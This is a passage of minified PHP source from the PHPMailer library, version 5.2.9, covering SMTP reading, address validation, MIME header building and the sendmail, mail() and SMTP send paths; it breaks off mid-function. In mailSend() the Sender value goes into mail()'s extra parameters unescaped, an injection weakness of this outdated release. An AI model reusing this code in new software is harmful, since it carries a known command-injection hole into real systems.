} $data = ''; $endtime = 0; stream_set_timeout($this->smtp_conn, $this->Timeout); if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit; } while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { $str = @fgets($this->smtp_conn, 515); $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL); $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL); $data .= $str; $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL); if ((isset($str[3]) and $str[3] == ' ')) { break; } $info = stream_get_meta_data($this->smtp_conn); if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL ); break; } if ($endtime and time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached ('. $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } } return $data; } public function setVerp($enabled = false) { $this->do_verp = $enabled; } public function getVerp() { return $this->do_verp; } protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = array( 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex ); } public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method; } public function getDebugOutput() { return $this->Debugoutput; } public function setDebugLevel($level = 0) { $this->do_debug = $level; } public function getDebugLevel() { return $this->do_debug; } public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } public function getTimeout() { return $this->Timeout; } } class PHPMailer { public $Version = '5.2.9'; public $Priority = 3; public $CharSet = 'iso-8859-1'; public $ContentType = 'text/plain'; public $Encoding = '8bit'; public $ErrorInfo = ''; public $From = 'root@localhost'; public $FromName = 'Root User'; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = 'mail'; public $Sendmail = '/usr/sbin/sendmail'; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = 'localhost'; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAuth = false; public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = 'echo'; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "\n"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $action_function = ''; public $XMailer = ''; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "\r\n"; public function __construct($exceptions = false) { $this->exceptions = (boolean)$exceptions; } public function __destruct() { } private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if (ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } if (ini_get('safe_mode') || !($this->UseSendmailOptions)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Avoid clash with built-in function names if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "
\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) ) . "\n"; } } public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = 'text/html'; } else { $this->ContentType = 'text/plain'; } } public function isSMTP() { $this->Mailer = 'smtp'; } public function isMail() { $this->Mailer = 'mail'; } public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (!stristr($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (!stristr($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } public function addAddress($address, $name = '') { return $this->addAnAddress('to', $address, $name); } public function addCC($address, $name = '') { return $this->addAnAddress('cc', $address, $name); } public function addBCC($address, $name = '') { return $this->addAnAddress('bcc', $address, $name); } public function addReplyTo($address, $name = '') { return $this->addAnAddress('Reply-To', $address, $name); } protected function addAnAddress($kind, $address, $name = '') { if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) { $this->setError($this->lang('Invalid recipient array') . ': ' . $kind); $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind); if ($this->exceptions) { throw new phpmailerException('Invalid recipient array: ' . $kind); } return false; } $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim if (!$this->validateAddress($address)) { $this->setError($this->lang('invalid_address') . ': ' . $address); $this->edebug($this->lang('invalid_address') . ': ' . $address); if ($this->exceptions) { throw new phpmailerException($this->lang('invalid_address') . ': ' . $address); } return false; } if ($kind != 'Reply-To') { if (!isset($this->all_recipients[strtolower($address)])) { array_push($this->$kind, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim if (!$this->validateAddress($address)) { $this->setError($this->lang('invalid_address') . ': ' . $address); $this->edebug($this->lang('invalid_address') . ': ' . $address); if ($this->exceptions) { throw new phpmailerException($this->lang('invalid_address') . ': ' . $address); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = 'auto') { if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { try { $this->mailHeader = ''; if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) { throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL); } // Set whether the message is multipart/alternative if (!empty($this->AltBody)) { $this->ContentType = 'multipart/alternative'; } $this->error_count = 0; // reset errors $this->setMessageType(); // Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL); } $this->MIMEHeader = $this->createHeader(); $this->MIMEBody = $this->createBody(); if ($this->Mailer == 'mail') { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))) ); } // Sign with DKIM if enabled if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && file_exists($this->DKIM_private)) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . str_replace("\r\n", "\n", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { // Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer.'Send'; if (method_exists($this, $sendMethod)) { return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if ($this->Sender != '') { if ($this->Mailer == 'qmail') { $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); } else { $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender)); } } else { if ($this->Mailer == 'qmail') { $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail)); } else { $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail)); } } if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, 'To: ' . $toAddr . "\n"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback( ($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From ); if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr); if (empty($this->Sender)) { $params = ' '; } else { $params = sprintf('-f%s', $this->Sender); } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP; } return $this->smtp; } protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); } if ('' == $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new phpmailerException( $this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE ); } return true; } public function smtpConnect($options = array()) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = ($this->SMTPSecure == 'tls'); if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; // Can't have SSL and TLS at the same time $secure = 'ssl'; } elseif ($hostinfo[2] == 'tls') { $tls = true; $secure = 'tls'; } $sslext = defined('OPENSSL_ALGO_SHA1'); if ('tls' === $secure or 'ssl' === $secure) { if (!$sslext) { throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (integer)$hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang('connect_host')); } $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation ) ) { throw new phpmailerException($this->lang('authenticate')); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function smtpClose() { if ($this->smtp !== null) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } public function setLanguage($langcode = 'en', $lang_path = '') { // Define full set of translatable strings in English $PHPMAILER_LANG = array( 'authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ' ); if (empty($lang_path)) { // Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR; } $foundlang = true; $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php'; if ($langcode != 'en') { // There is no English translation file // Make sure language file path is readable if (!is_readable($lang_file)) { $foundlang = false; } else { $foundlang = include $lang_file; } } $this->language = $PHPMAILER_LANG; return (boolean)$foundlang; // Returns false if language not found } public function getTranslations() { return $this->language; } public function addrAppend($type, $addr) { $addresses = array(); foreach ($addr as $address) { $addresses[] = $this->addrFormat($address); } return $type . ': ' . implode(', ', $addresses) . $this->LE; } public function addrFormat($addr) { if (empty($addr[1])) { // No name provided return $this->secureHeader($addr[0]); } else { return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( $addr[0] ) . '>'; } } public function wrapText($message, $length, $qp_mode = false) { $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE; $is_utf8 = (strtolower($this->CharSet) == 'utf-8'); $lelen = strlen($this->LE); $crlflen = strlen(self::CRLF); $message = $this->fixEOL($message); if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen); } $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE $message = ''; for ($i = 0; $i < count($line); $i++) { $line_part = explode(' ', $line[$i]); $buf = ''; for ($e = 0; $e < count($line_part); $e++) { $word = $line_part[$e]; if ($qp_mode and (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen; if ($e != 0) { if ($space_left > 20) { $len = $space_left; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == '=') { $len--; } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); $buf .= ' ' . $part; $message .= $buf . sprintf('=%s', self::CRLF); } else { $message .= $buf . $soft_break; } $buf = ''; } while (strlen($word) > 0) { if ($length <= 0) { break; } $len = $length; if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len); } elseif (substr($word, $len - 1, 1) == '=') { $len--; } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2; } $part = substr($word, 0, $len); $word = substr($word, $len); if (strlen($word) > 0) { $message .= $part . sprintf('=%s', self::CRLF); } else { $buf = $part; } } } else { $buf_o = $buf; $buf .= ($e == 0) ? $word : (' ' . $word); if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break; $buf = $word; } } } $message .= $buf . self::CRLF; } return $message; } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false; $lookBack = 3; while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); $encodedCharPos = strpos($lastChunk, '='); if (false !== $encodedCharPos) { // Found start of encoded character byte within $lookBack block. // Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); $dec = hexdec($hex); if ($dec < 128) { // Single byte character. // If the encoded char was found at pos 0, it will fit // otherwise reduce maxLength to start of the encoded char $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec >= 192) { // First byte of a multi byte character // Reduce maxLength to split at start of character $maxLength = $maxLength - ($lookBack - $encodedCharPos); $foundSplitPos = true; } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back $lookBack += 3; } } else { // No encoded character found $foundSplitPos = true; } } return $maxLength; } public function setWordWrap() { if ($this->WordWrap < 1) { return; } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); break; default: $this->Body = $this->wrapText($this->Body, $this->WordWrap); break; } } public function createHeader() { $result = ''; // Set the boundaries $uniq_id = md5(uniqid(time())); $this->boundary[1] = 'b1_' . $uniq_id; $this->boundary[2] = 'b2_' . $uniq_id; $this->boundary[3] = 'b3_' . $uniq_id; if ($this->MessageDate == '') { $this->MessageDate = self::rfcDate(); } $result .= $this->headerLine('Date', $this->MessageDate); // To be created automatically by mail() if ($this->SingleTo) { if ($this->Mailer != 'mail') { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr); } } } else { if (count($this->to) > 0) { if ($this->Mailer != 'mail') { $result .= $this->addrAppend('To', $this->to); } } elseif (count($this->cc) == 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;'); } } $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName))); // sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc); } // sendmail and mail() extract Bcc from the header before sending if (( $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' ) and count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc); } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo); } // mail() sets the subject itself if ($this->Mailer != 'mail') { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); } if ($this->MessageID != '') { $this->lastMessageID = $this->MessageID; } else { $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname()); } $result .= $this->HeaderLine('Message-ID', $this->lastMessageID); $result .= $this->headerLine('X-Priority', $this->Priority); if ($this->XMailer == '') { $result .= $this->headerLine( 'X-Mailer', 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)' ); } else { $myXmailer = trim($this->XMailer); if ($myXmailer) { $result .= $this->headerLine('X-Mailer', $myXmailer); } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>'); } // Add custom headers for ($index = 0; $index < count($this->CustomHeader); $index++) { $result .= $this->headerLine( trim($this->CustomHeader[$index][0]), $this->encodeHeader(trim($this->CustomHeader[$index][1])) ); } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0'); $result .= $this->getMailMIME(); } return $result; } public function getMailMIME() { $result = ''; $ismultipart = true; switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', 'multipart/related;'); $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); break; case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', 'multipart/mixed;'); $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); break; case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', 'multipart/alternative;'); $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); break; default: // Catches case 'plain': and case '': $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); $ismultipart = false; break; } // RFC1341 part 5 says 7bit is assumed if not specified if ($this->Encoding != '7bit') { // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE if ($ismultipart) { if ($this->Encoding == '8bit') { $result .= $this->headerLine('Content-Transfer-Encoding', '8bit'); } // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); } } if ($this->Mailer != 'mail') { $result .= $this->LE; } return $result; } public function getSentMIMEMessage() { return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody; } public function createBody() { $body = ''; if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE; } $this->setWordWrap(); $bodyEncoding = $this->Encoding; $bodyCharSet = $this->CharSet; if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { $bodyEncoding = '7bit'; $bodyCharSet = 'us-ascii'; } $altBodyEncoding = $this->Encoding; $altBodyCharSet = $this->CharSet; if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = '7bit'; $altBodyCharSet = 'us-ascii'; } switch ($this->message_type) { case 'inline': $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[1]); break; case 'attach': $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'inline_attach': $body .= $this->textLine('--' . $this->boundary[1]); $body .= $this->headerLine('Content-Type', 'multipart/related;'); $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); $body .= $this->LE; $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->attachAll('inline', $this->boundary[2]); $body .= $this->LE; $body .= $this->attachAll('attachment', $this->boundary[1]); break; case 'alt': $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); $body .= $this->encodeString($this->AltBody, $altBodyEncoding); $body .= $this->LE . $this->LE; $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding); $body .= $this->encodeString($this->Body, $bodyEncoding); $body .= $this->LE . $this->LE; if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); $body .= $this->encodeString($this->Ical, $this->Encoding); $body .= $this->LE . $this->LE; } $body .= $this->endBoundary($this->boundary[1]); break; case 